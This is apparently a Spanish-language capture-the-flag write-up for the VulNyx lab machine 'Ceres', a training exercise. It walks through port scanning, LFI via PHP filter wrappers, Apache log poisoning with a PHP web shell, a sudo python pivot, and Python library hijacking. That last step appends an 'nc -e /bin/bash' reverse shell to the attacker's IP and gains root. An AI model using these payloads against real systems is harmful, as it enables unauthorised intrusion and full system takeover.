VulNyx - Ceres
- LFI/PHP Wrappers
- Log Poisoning
- Abusing Python Binary
- Python Library Hijacking
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.15
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de Servicios
❯ nmap -sVC -v -p 22,80 192.168.1.15 -oN servicios
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 3681c13bb87b840f6a417b2e3a014c44 (RSA)
| 256 f67e44418000b0c2e9038d74c37aea0e (ECDSA)
|_ 256 37d15ab4e50a779a2a7e1a637cd42e9b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Realizo una búsqueda de extensiones y encuentro dos ficheros.
❯ wfuzz -c -t 200 --hc=404 --hw=7 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-txt "http://192.168.1.15/FUZZ.FUZ2Z/"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.15/FUZZ.FUZ2Z/
Total requests: 441120
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001517: 200 0 L 0 W 0 Ch "file - php"
000010309: 200 1 L 3 W 54 Ch "secret - php"
El archivo file no se puede ver nada y el archivo secret veo que es la salida del comando id.
Esta parte de la máquina se puede complicar porque si intentas fuzzear extensiones o parámetros no encontrarás nada, pero el archivo secret tiene ese nombre por algo y el archivo file también tiene ese nombre por algo.
Si usamos un wrapper sobre el fichero secrets nos devolverá una string en base64, pero hay un pequeño detalle al usar el wrapper, el detalle es que al escribir secret.php hay que ponerlo sin la extensión php para que el wrapper funcione sino quitamos la extensión el wrapper no funcionará. Eso ocurre porque el archivo file hace un include de .php sería como poner secret.php.php pero si quitamos el .php y ponemos sólo secret el resultado final será secret.php.
❯ curl -s "http://192.168.1.15/file.php?file=php://filter/convert.base64-encode/resource=secret";echo
PD9waHAKICAgIHN5c3RlbSgiaWQiKTsgLy8gICAgICAgICAgICAgICAgICAvTXlfSDFkZDNuX1MzY3IzdAo/Pgo=
Al decodear la string obtengo el directorio /My_H1dd3n_S3cr3t.
❯ echo "PD9waHAKICAgIHN5c3RlbSgiaWQiKTsgLy8gICAgICAgICAgICAgICAgICAvTXlfSDFkZDNuX1MzY3IzdAo/Pgo=" | base64 -d
<?php
system("id"); // /My_H1dd3n_S3cr3t
?>
Vuelvo a fuzzear por extensiones en el nuevo directorio y encuentro otro archivo file.php.
❯ wfuzz -c -t 200 --hc=404 --hl=9 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,php-txt "http://192.168.1.15/My_H1dd3n_S3cr3t/FUZZ.FUZ2Z/"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.15/My_H1dd3n_S3cr3t/FUZZ.FUZ2Z/
Total requests: 441120
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001517: 200 0 L 0 W 0 Ch "file - php"
Aplicando el mismo parametro anterior puedo ver el fichero passwd mediante un LFI.
Busco archivos que puedo leer mediante el LFI y encuentro un log de apache.
❯ wfuzz -c -t 200 --hc=404 --hl=0,26 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt "http://192.168.1.15/My_H1dd3n_S3cr3t/file.php?file=FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.15/My_H1dd3n_S3cr3t/file.php?file=FUZZ
Total requests: 922
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000643: 200 2509 L 30232 W 386284 Ch "/var/log/apache2/access.log"
Al poder leer el acces.log puedo realizar un log poisoning para acceder al sistema.
Capturo la petición con burpsuite.
La modifico y la reenvio con el user agent modificado.
<?php system($_GET['cmd']); ?>
Verifico que puedo ejecutar comandos.
Uso netcat para obtener una shell.
Enumerando permisos de sudo.
www-data@ceres:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on ceres:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on ceres:
(giuseppe) NOPASSWD: /usr/bin/python
Para pivotar de usuario uso el recurso gtfobins.
www-data@ceres:/var/www/html$ sudo -u giuseppe /usr/bin/python -c 'import os; os.system("/bin/bash")'
giuseppe@ceres:/var/www/html$ id
id
uid=1000(giuseppe) gid=1000(giuseppe) groups=1000(giuseppe)
Con pspy64 encuentro una tarea que me llama la atención.
El archivo important.py
.
#!/usr/bin/python
import os
os.system('/usr/bin/id > /opt/id')
os.system('/usr/bin/sleep 15')
os.system('/usr/bin/rm /opt/id')
os.system('/usr/bin/sleep 15')
Hago una búsqueda de archivos con permisos de escritura.
giuseppe@ceres:/opt$ find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'
/usr/lib/python2.7/os.py
Veo que tengo permisos de lectura, escritura y ejecución.
giuseppe@ceres:/opt$ ls -la /usr/lib/python2.7/os.py
ls -la /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25911 Mar 7 2021 /usr/lib/python2.7/os.py
Edito el archivo.
echo "import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.1.18','1234'], shell=False)" >> /usr/lib/python2.7/os.py
Dejo un nectat a la escucha y en unos segundos obtengo la shell como root.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 47358
script /dev/null -c bash
Script iniciado; el fichero es /dev/null
root@ceres:~# id
id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Ceres.
Saludos!